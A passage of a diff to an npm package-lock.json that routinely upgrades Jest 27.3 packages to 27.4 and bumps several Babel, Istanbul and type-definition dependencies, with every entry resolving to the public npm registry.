"^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.3.0.tgz", + "integrity": "sha512-dhAPTDLGoMW5/84wkgwiLRwMnio2i1fUe53EuvtKMv0pn2p3S8OCoV1xAzfJPl0KOX7IB89s2ib85vbYiea3jg==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, "node_modules/@babel/plugin-transform-runtime/node_modules/semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", @@ -2331,16 +2389,16 @@ } }, "node_modules/@jest/console": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.3.1.tgz", - "integrity": "sha512-RkFNWmv0iui+qsOr/29q9dyfKTTT5DCuP31kUwg7rmOKPT/ozLeGLKJKVIiOfbiKyleUZKIrHwhmiZWVe8IMdw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.4.2.tgz", + "integrity": "sha512-xknHThRsPB/To1FUbi6pCe43y58qFC03zfb6R7fDb/FfC7k2R3i1l+izRBJf8DI46KhYGRaF14Eo9A3qbBoixg==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", - "jest-message-util": "^27.3.1", - "jest-util": "^27.3.1", + "jest-message-util": "^27.4.2", + "jest-util": "^27.4.2", "slash": "^3.0.0" }, "engines": { @@ -2357,35 +2415,35 @@ } }, "node_modules/@jest/core": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.3.1.tgz", - "integrity": "sha512-DMNE90RR5QKx0EA+wqe3/TNEwiRpOkhshKNxtLxd4rt3IZpCt+RSL+FoJsGeblRZmqdK4upHA/mKKGPPRAifhg==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.4.3.tgz", + "integrity": "sha512-V9ms3zSxUHxh1E/ZLAiXF7SLejsdFnjWTFizWotMOWvjho0lW5kSjZymhQSodNW0T0ZMQRiha7f8+NcFVm3hJQ==", "dev": true, "dependencies": { - "@jest/console": "^27.3.1", - "@jest/reporters": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/reporters": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "ansi-escapes": "^4.2.1", "chalk": "^4.0.0", "emittery": "^0.8.1", "exit": "^0.1.2", "graceful-fs": "^4.2.4", - "jest-changed-files": "^27.3.0", - "jest-config": "^27.3.1", - "jest-haste-map": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-regex-util": "^27.0.6", - "jest-resolve": "^27.3.1", - "jest-resolve-dependencies": "^27.3.1", - "jest-runner": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", - "jest-watcher": "^27.3.1", + "jest-changed-files": "^27.4.2", + "jest-config": "^27.4.3", + "jest-haste-map": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-resolve": "^27.4.2", + "jest-resolve-dependencies": "^27.4.2", + "jest-runner": "^27.4.3", + "jest-runtime": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", + "jest-watcher": "^27.4.2", "micromatch": "^4.0.4", "rimraf": "^3.0.0", "slash": "^3.0.0", @@ -2425,62 +2483,62 @@ } }, "node_modules/@jest/environment": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.3.1.tgz", - "integrity": "sha512-BCKCj4mOVLme6Tanoyc9k0ultp3pnmuyHw73UHRPeeZxirsU/7E3HC4le/VDb/SMzE1JcPnto+XBKFOcoiJzVw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.4.2.tgz", + "integrity": "sha512-uSljKxh/rGlHlmhyeG4ZoVK9hOec+EPBkwTHkHKQ2EqDu5K+MaG9uJZ8o1CbRsSdZqSuhXvJCYhBWsORPPg6qw==", "devOptional": true, "dependencies": { - "@jest/fake-timers": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/fake-timers": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", - "jest-mock": "^27.3.0" + "jest-mock": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/@jest/fake-timers": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.3.1.tgz", - "integrity": "sha512-M3ZFgwwlqJtWZ+QkBG5NmC23A9w+A6ZxNsO5nJxJsKYt4yguBd3i8TpjQz5NfCX91nEve1KqD9RA2Q+Q1uWqoA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.4.2.tgz", + "integrity": "sha512-f/Xpzn5YQk5adtqBgvw1V6bF8Nx3hY0OIRRpCvWcfPl0EAjdqWPdhH3t/3XpiWZqtjIEHDyMKP9ajpva1l4Zmg==", "devOptional": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "@sinonjs/fake-timers": "^8.0.1", "@types/node": "*", - "jest-message-util": "^27.3.1", - "jest-mock": "^27.3.0", - "jest-util": "^27.3.1" + "jest-message-util": "^27.4.2", + "jest-mock": "^27.4.2", + "jest-util": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/@jest/globals": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.3.1.tgz", - "integrity": "sha512-Q651FWiWQAIFiN+zS51xqhdZ8g9b88nGCobC87argAxA7nMfNQq0Q0i9zTfQYgLa6qFXk2cGANEqfK051CZ8Pg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.4.2.tgz", + "integrity": "sha512-KkfaHEttlGpXYAQTZHgrESiEPx2q/DKAFLGLFda1uGVrqc17snd3YVPhOxlXOHIzVPs+lQ/SDB2EIvxyGzb3Ew==", "dev": true, "dependencies": { - "@jest/environment": "^27.3.1", - "@jest/types": "^27.2.5", - "expect": "^27.3.1" + "@jest/environment": "^27.4.2", + "@jest/types": "^27.4.2", + "expect": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/@jest/reporters": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.3.1.tgz", - "integrity": "sha512-m2YxPmL9Qn1emFVgZGEiMwDntDxRRQ2D58tiDQlwYTg5GvbFOKseYCcHtn0WsI8CG4vzPglo3nqbOiT8ySBT/w==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.4.2.tgz", + "integrity": "sha512-sp4aqmdBJtjKetEakzDPcZggPcVIF6w9QLkYBbaWDV6e/SIsHnF1S4KtIH91eEc2fp7ep6V/e1xvdfEoho1d2w==", "dev": true, "dependencies": { "@bcoe/v8-coverage": "^0.2.3", - "@jest/console": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "collect-v8-coverage": "^1.0.0", @@ -2492,10 +2550,10 @@ "istanbul-lib-report": "^3.0.0", "istanbul-lib-source-maps": "^4.0.0", "istanbul-reports": "^3.0.2", - "jest-haste-map": "^27.3.1", - "jest-resolve": "^27.3.1", - "jest-util": "^27.3.1", - "jest-worker": "^27.3.1", + "jest-haste-map": "^27.4.2", + "jest-resolve": "^27.4.2", + "jest-util": "^27.4.2", + "jest-worker": "^27.4.2", "slash": "^3.0.0", "source-map": "^0.6.0", "string-length": "^4.0.1", @@ -2533,9 +2591,9 @@ } }, "node_modules/@jest/source-map": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.0.6.tgz", - "integrity": "sha512-Fek4mi5KQrqmlY07T23JRi0e7Z9bXTOOD86V/uS0EIW4PClvPDqZOyFlLpNJheS6QI0FNX1CgmPjtJ4EA/2M+g==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.4.0.tgz", + "integrity": "sha512-Ntjx9jzP26Bvhbm93z/AKcPRj/9wrkI88/gK60glXDx1q+IeI0rf7Lw2c89Ch6ofonB0On/iRDreQuQ6te9pgQ==", "dev": true, "dependencies": { "callsites": "^3.0.0", @@ -2556,13 +2614,13 @@ } }, "node_modules/@jest/test-result": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.3.1.tgz", - "integrity": "sha512-mLn6Thm+w2yl0opM8J/QnPTqrfS4FoXsXF2WIWJb2O/GBSyResL71BRuMYbYRsGt7ELwS5JGcEcGb52BNrumgg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.4.2.tgz", + "integrity": "sha512-kr+bCrra9jfTgxHXHa2UwoQjxvQk3Am6QbpAiJ5x/50LW8llOYrxILkqY0lZRW/hu8FXesnudbql263+EW9iNA==", "dev": true, "dependencies": { - "@jest/console": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/console": "^27.4.2", + "@jest/types": "^27.4.2", "@types/istanbul-lib-coverage": "^2.0.0", "collect-v8-coverage": "^1.0.0" }, @@ -2571,36 +2629,36 @@ } }, "node_modules/@jest/test-sequencer": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.3.1.tgz", - "integrity": "sha512-siySLo07IMEdSjA4fqEnxfIX8lB/lWYsBPwNFtkOvsFQvmBrL3yj3k3uFNZv/JDyApTakRpxbKLJ3CT8UGVCrA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.4.2.tgz", + "integrity": "sha512-HmHp5mlh9f9GyNej5yCS1JZIFfUGnP9+jEOH5zoq5EmsuZeYD+dGULqyvGDPtuzzbyAFJ6R4+z4SS0VvnFwwGQ==", "dev": true, "dependencies": { - "@jest/test-result": "^27.3.1", + "@jest/test-result": "^27.4.2", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", - "jest-runtime": "^27.3.1" + "jest-haste-map": "^27.4.2", + "jest-runtime": "^27.4.2" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" } }, "node_modules/@jest/transform": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.3.1.tgz", - "integrity": "sha512-3fSvQ02kuvjOI1C1ssqMVBKJpZf6nwoCiSu00zAKh5nrp3SptNtZy/8s5deayHnqxhjD9CWDJ+yqQwuQ0ZafXQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.4.2.tgz", + "integrity": "sha512-RTKcPZllfcmLfnlxBya7aypofhdz05+E6QITe55Ex0rxyerkgjmmpMlvVn11V0cP719Ps6WcDYCnDzxnnJUwKg==", "dev": true, "dependencies": { "@babel/core": "^7.1.0", - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "babel-plugin-istanbul": "^6.0.0", "chalk": "^4.0.0", "convert-source-map": "^1.4.0", "fast-json-stable-stringify": "^2.0.0", "graceful-fs": "^4.2.4", - "jest-haste-map": "^27.3.1", - "jest-regex-util": "^27.0.6", - "jest-util": "^27.3.1", + "jest-haste-map": "^27.4.2", + "jest-regex-util": "^27.4.0", + "jest-util": "^27.4.2", "micromatch": "^4.0.4", "pirates": "^4.0.1", "slash": "^3.0.0", @@ -2630,9 +2688,9 @@ } }, "node_modules/@jest/types": { - "version": "27.2.5", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.2.5.tgz", - "integrity": "sha512-nmuM4VuDtCZcY+eTpw+0nvstwReMsjPoj7ZR80/BbixulhLaiX+fbv8oeLW8WZlJMcsGQsTmMKT/iTZu1Uy/lQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.4.2.tgz", + "integrity": "sha512-j35yw0PMTPpZsUoOBiuHzr1zTYoad1cVIE0ajEjcrJONxxrko/IRGKkXx3os0Nsi4Hu3+5VmDbVfq5WhG/pWAg==", "devOptional": true, "dependencies": { "@types/istanbul-lib-coverage": "^2.0.0", @@ -3591,9 +3649,9 @@ } }, "node_modules/@sinonjs/fake-timers": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.0.1.tgz", - "integrity": "sha512-AU7kwFxreVd6OAXcAFlKSmZquiRUU0FvYm44k1Y1QbK7Co4m0aqfGMhjykIeQp/H6rcl+nFmj0zfdUcGVs9Dew==", + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz", + "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==", "devOptional": true, "dependencies": { "@sinonjs/commons": "^1.7.0" @@ -3982,9 +4040,9 @@ "integrity": "sha512-ARATsLdrGPUnaBvxLhUlnltcMgn7pQG312S8ccdYlnyijabrX9RN/KN/iGj9Am96CoW8e/K9628BA7Bv4XHdrA==" }, "node_modules/@types/prettier": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.4.1.tgz", - "integrity": "sha512-Fo79ojj3vdEZOHg3wR9ksAMRz4P3S5fDB5e/YWZiFnyFQI1WY2Vftu9XoXVVtJfxB7Bpce/QTqWSSntkz2Znrw==", + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.4.2.tgz", + "integrity": "sha512-ekoj4qOQYp7CvjX8ZDBgN86w3MqQhLE1hczEJbEIjgFEumDy+na/4AJAbLXfgEWFNB2pKadM5rPFtuSGMWK7xA==", "dev": true }, "node_modules/@types/prop-types": { @@ -4076,9 +4134,9 @@ "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==" }, "node_modules/@types/uuid": { - "version": "8.3.1", - "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.1.tgz", - "integrity": "sha512-Y2mHTRAbqfFkpjldbkHGY8JIzRN6XqYRliG8/24FcHm2D2PwW24fl5xMRTVGdrb7iMrwCaIEbLWerGIkXuFWVg==", + "version": "8.3.3", + "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.3.tgz", + "integrity": "sha512-0LbEEx1zxrYB3pgpd1M5lEhLcXjKJnYghvhTRgaBeUivLHMDM1TzF3IJ6hXU2+8uA4Xz+5BA63mtZo5DjVT8iA==", "dev": true }, "node_modules/@types/yargs": { @@ -5140,16 +5198,16 @@ } }, "node_modules/babel-jest": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.3.1.tgz", - "integrity": "sha512-SjIF8hh/ir0peae2D6S6ZKRhUy7q/DnpH7k/V6fT4Bgs/LXXUztOpX4G2tCgq8mLo5HA9mN6NmlFMeYtKmIsTQ==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.4.2.tgz", + "integrity": "sha512-MADrjb3KBO2eyZCAc6QaJg6RT5u+6oEdDyHO5HEalnpwQ6LrhTsQF2Kj1Wnz2t6UPXIXPk18dSXXOT0wF5yTxA==", "dev": true, "dependencies": { - "@jest/transform": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/transform": "^27.4.2", + "@jest/types": "^27.4.2", "@types/babel__core": "^7.1.14", "babel-plugin-istanbul": "^6.0.0", - "babel-preset-jest": "^27.2.0", + "babel-preset-jest": "^27.4.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.4", "slash": "^3.0.0" @@ -5233,15 +5291,15 @@ } }, "node_modules/babel-plugin-istanbul/node_modules/istanbul-lib-instrument": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.0.4.tgz", - "integrity": "sha512-W6jJF9rLGEISGoCyXRqa/JCGQGmmxPO10TMu7izaUTynxvBvTjqzAIIGCK9USBmIbQAaSWD6XJPrM9Pv5INknw==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.1.0.tgz", + "integrity": "sha512-czwUz525rkOFDJxfKK6mYfIs9zBKILyrZQxjz3ABhjQXhbhFsSbo1HW/BFcsDnfJYJWA6thRR5/TUY2qs5W99Q==", "dev": true, "dependencies": { "@babel/core": "^7.12.3", "@babel/parser": "^7.14.7", "@istanbuljs/schema": "^0.1.2", - "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-coverage": "^3.2.0", "semver": "^6.3.0" }, "engines": { @@ -5258,9 +5316,9 @@ } }, "node_modules/babel-plugin-jest-hoist": { - "version": "27.2.0", - "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.2.0.tgz", - "integrity": "sha512-TOux9khNKdi64mW+0OIhcmbAn75tTlzKhxmiNXevQaPbrBYK7YKjP1jl6NHTJ6XR5UgUrJbCnWlKVnJn29dfjw==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.4.0.tgz", + "integrity": "sha512-Jcu7qS4OX5kTWBc45Hz7BMmgXuJqRnhatqpUhnzGC3OBYpOmf2tv6jFNwZpwM7wU7MUuv2r9IPS/ZlYOuburVw==", "dev": true, "dependencies": { "@babel/template": "^7.3.3", @@ -5321,12 +5379,12 @@ } }, "node_modules/babel-plugin-styled-components": { - "version": "1.13.3", - "resolved": "https://registry.npmjs.org/babel-plugin-styled-components/-/babel-plugin-styled-components-1.13.3.tgz", - "integrity": "sha512-meGStRGv+VuKA/q0/jXxrPNWEm4LPfYIqxooDTdmh8kFsP/Ph7jJG5rUPwUPX3QHUvggwdbgdGpo88P/rRYsVw==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/babel-plugin-styled-components/-/babel-plugin-styled-components-2.0.2.tgz", + "integrity": "sha512-7eG5NE8rChnNTDxa6LQfynwgHTVOYYaHJbUYSlOhk8QBXIQiMBKq4gyfHBBKPrxUcVBXVJL61ihduCpCQbuNbw==", "dependencies": { - "@babel/helper-annotate-as-pure": "^7.15.4", - "@babel/helper-module-imports": "^7.15.4", + "@babel/helper-annotate-as-pure": "^7.16.0", + "@babel/helper-module-imports": "^7.16.0", "babel-plugin-syntax-jsx": "^6.18.0", "lodash": "^4.17.11" }, @@ -5765,12 +5823,12 @@ } }, "node_modules/babel-preset-jest": { - "version": "27.2.0", - "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.2.0.tgz", - "integrity": "sha512-z7MgQ3peBwN5L5aCqBKnF6iqdlvZvFUQynEhu0J+X9nHLU72jO3iY331lcYrg+AssJ8q7xsv5/3AICzVmJ/wvg==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.4.0.tgz", + "integrity": "sha512-NK4jGYpnBvNxcGo7/ZpZJr51jCGT+3bwwpVIDY2oNfTxJJldRtB4VAcYdgp1loDE50ODuTu+yBjpMAswv5tlpg==", "dev": true, "dependencies": { - "babel-plugin-jest-hoist": "^27.2.0", + "babel-plugin-jest-hoist": "^27.4.0", "babel-preset-current-node-syntax": "^1.0.0" }, "engines": { @@ -7737,9 +7795,9 @@ } }, "node_modules/diff-sequences": { - "version": "27.0.6", - "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.0.6.tgz", - "integrity": "sha512-ag6wfpBFyNXZ0p8pcuIDS//D8H062ZQJ3fzYxjpmeKjnz8W4pekL3AI8VohmyZmsWW2PWaHgjsmqR6L13101VQ==", + "version": "27.4.0", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.4.0.tgz", + "integrity": "sha512-YqiQzkrsmHMH5uuh8OdQFU9/ZpADnwzml8z0O5HvRNda+5UZsaX/xN+AAxfR2hWq1Y7HZnAzO9J5lJXOuDz2Ww==", "dev": true, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" @@ -8327,9 +8385,9 @@ } }, "node_modules/escodegen/node_modules/estraverse": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", - "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", "dev": true, "engines": { "node": ">=4.0" @@ -8374,6 +8432,16 @@ "node": ">= 0.8.0" } }, + "node_modules/escodegen/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/escodegen/node_modules/type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", @@ -9048,17 +9116,17 @@ } }, "node_modules/expect": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/expect/-/expect-27.3.1.tgz", - "integrity": "sha512-MrNXV2sL9iDRebWPGOGFdPQRl2eDQNu/uhxIMShjjx74T6kC6jFIkmQ6OqXDtevjGUkyB2IT56RzDBqXf/QPCg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.4.2.tgz", + "integrity": "sha512-BjAXIDC6ZOW+WBFNg96J22D27Nq5ohn+oGcuP2rtOtcjuxNoV9McpQ60PcQWhdFOSBIQdR72e+4HdnbZTFSTyg==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "ansi-styles": "^5.0.0", - "jest-get-type": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-regex-util": "^27.0.6" + "jest-get-type": "^27.4.0", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-regex-util": "^27.4.0" }, "engines": { "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" @@ -11803,9 +11871,9 @@ } }, "node_modules/istanbul-reports": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.5.tgz", - "integrity": "sha512-5+19PlhnGabNWB7kOFnuxT8H3T/iIyQzIbQMxXsURmmvKg86P2sbkrGOT77VnHw0Qr0gc2XzRaRfMZYYbSQCJQ==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.1.tgz", + "integrity": "sha512-q1kvhAXWSsXfMjCdNHNPKZZv94OlspKnoGv+R9RGbnqOOQ0VbNfLFgQDVgi7hHenKsndGq3/o0OBdzDXthWcNw==", "dev": true, "dependencies": { "html-escaper": "^2.0.0", @@ -11828,14 +11896,14 @@ "dev": true }, "node_modules/jest": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest/-/jest-27.3.1.tgz", - "integrity": "sha512-U2AX0AgQGd5EzMsiZpYt8HyZ+nSVIh5ujQ9CPp9EQZJMjXIiSZpJNweZl0swatKRoqHWgGKM3zaSwm4Zaz87ng==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest/-/jest-27.4.3.tgz", + "integrity": "sha512-jwsfVABBzuN3Atm+6h6vIEpTs9+VApODLt4dk2qv1WMOpb1weI1IIZfuwpMiWZ62qvWj78MvdvMHIYdUfqrFaA==", "dev": true, "dependencies": { - "@jest/core": "^27.3.1", + "@jest/core": "^27.4.3", "import-local": "^3.0.2", - "jest-cli": "^27.3.1" + "jest-cli": "^27.4.3" }, "bin": { "jest": "bin/jest.js" @@ -11853,12 +11921,12 @@ } }, "node_modules/jest-changed-files": { - "version": "27.3.0", - "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.3.0.tgz", - "integrity": "sha512-9DJs9garMHv4RhylUMZgbdCJ3+jHSkpL9aaVKp13xtXAD80qLTLrqcDZL1PHA9dYA0bCI86Nv2BhkLpLhrBcPg==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.4.2.tgz", + "integrity": "sha512-/9x8MjekuzUQoPjDHbBiXbNEBauhrPU2ct7m8TfCg69ywt1y/N+yYwGh3gCpnqUS3klYWDU/lSNgv+JhoD2k1A==", "dev": true, "dependencies": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "execa": "^5.0.0", "throat": "^6.0.1" }, @@ -11867,27 +11935,27 @@ } }, "node_modules/jest-circus": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.3.1.tgz", - "integrity": "sha512-v1dsM9II6gvXokgqq6Yh2jHCpfg7ZqV4jWY66u7npz24JnhP3NHxI0sKT7+ZMQ7IrOWHYAaeEllOySbDbWsiXw==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.4.2.tgz", + "integrity": "sha512-2ePUSru1BGMyzxsMvRfu+tNb+PW60rUyMLJBfw1Nrh5zC8RoTPfF+zbE0JToU31a6ZVe4nnrNKWYRzlghAbL0A==", "dev": true, "dependencies": { - "@jest/environment": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/environment": "^27.4.2", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "@types/node": "*", "chalk": "^4.0.0", "co": "^4.6.0", "dedent": "^0.7.0", - "expect": "^27.3.1", + "expect": "^27.4.2", "is-generator-fn": "^2.0.0", - "jest-each": "^27.3.1", - "jest-matcher-utils": "^27.3.1", - "jest-message-util": "^27.3.1", - "jest-runtime": "^27.3.1", - "jest-snapshot": "^27.3.1", - "jest-util": "^27.3.1", - "pretty-format": "^27.3.1", + "jest-each": "^27.4.2", + "jest-matcher-utils": "^27.4.2", + "jest-message-util": "^27.4.2", + "jest-runtime": "^27.4.2", + "jest-snapshot": "^27.4.2", + "jest-util": "^27.4.2", + "pretty-format": "^27.4.2", "slash": "^3.0.0", "stack-utils": "^2.0.3", "throat": "^6.0.1" @@ -11906,21 +11974,21 @@ } }, "node_modules/jest-cli": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.3.1.tgz", - "integrity": "sha512-WHnCqpfK+6EvT62me6WVs8NhtbjAS4/6vZJnk7/2+oOr50cwAzG4Wxt6RXX0hu6m1169ZGMlhYYUNeKBXCph/Q==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.4.3.tgz", + "integrity": "sha512-zZSJBXNC/i8UnJPwcKWsqnhGgIF3uoTYP7th32Zej7KNQJdxzOMj+wCfy2Ox3kU7nXErJ36DtYyXDhfiqaiDRw==", "dev": true, "dependencies": { - "@jest/core": "^27.3.1", - "@jest/test-result": "^27.3.1", - "@jest/types": "^27.2.5", + "@jest/core": "^27.4.3", + "@jest/test-result": "^27.4.2", + "@jest/types": "^27.4.2", "chalk": "^4.0.0", "exit": "^0.1.2", "graceful-fs": "^4.2.4", "import-local": "^3.0.2", - "jest-config": "^27.3.1", - "jest-util": "^27.3.1", - "jest-validate": "^27.3.1", + "jest-config": "^27.4.3", + "jest-util": "^27.4.2", + "jest-validate": "^27.4.2", "prompts": "^2.0.1", "yargs": "^16.2.0" }, @@ -11940,32 +12008,33 @@ } }, "node_modules/jest-config": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.3.1.tgz", - "integrity": "sha512-KY8xOIbIACZ/vdYCKSopL44I0xboxC751IX+DXL2+Wx6DKNycyEfV3rryC3BPm5Uq/BBqDoMrKuqLEUNJmMKKg==", + "version": "27.4.3", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.4.3.tgz", + "integrity": "sha512-DQ10HTSqYtC2pO7s9j2jw+li4xUnm2wLYWH2o7K1ftB8NyvToHsXoLlXxtsGh3AW9gUQR6KY/4B7G+T/NswJBw==", "dev": true, "dependencies": { "@babel/core": "^7.1.0", - "@jest/test-sequencer": "^27.3.1", - "@jest/types": "^27.2.5", - "babel-jest": "^27.3.1", + "@jest/test-sequencer": "^27.4.2", + "@jest/types": "^27.4.2", + "babel-jest": "^27.4.2", "chalk": "^4.0.0", "ci-info": "^3.2.0", "deepmerge": "^4.2.2", "glob": "^7.1.1", "graceful-fs": "^4.2.4", 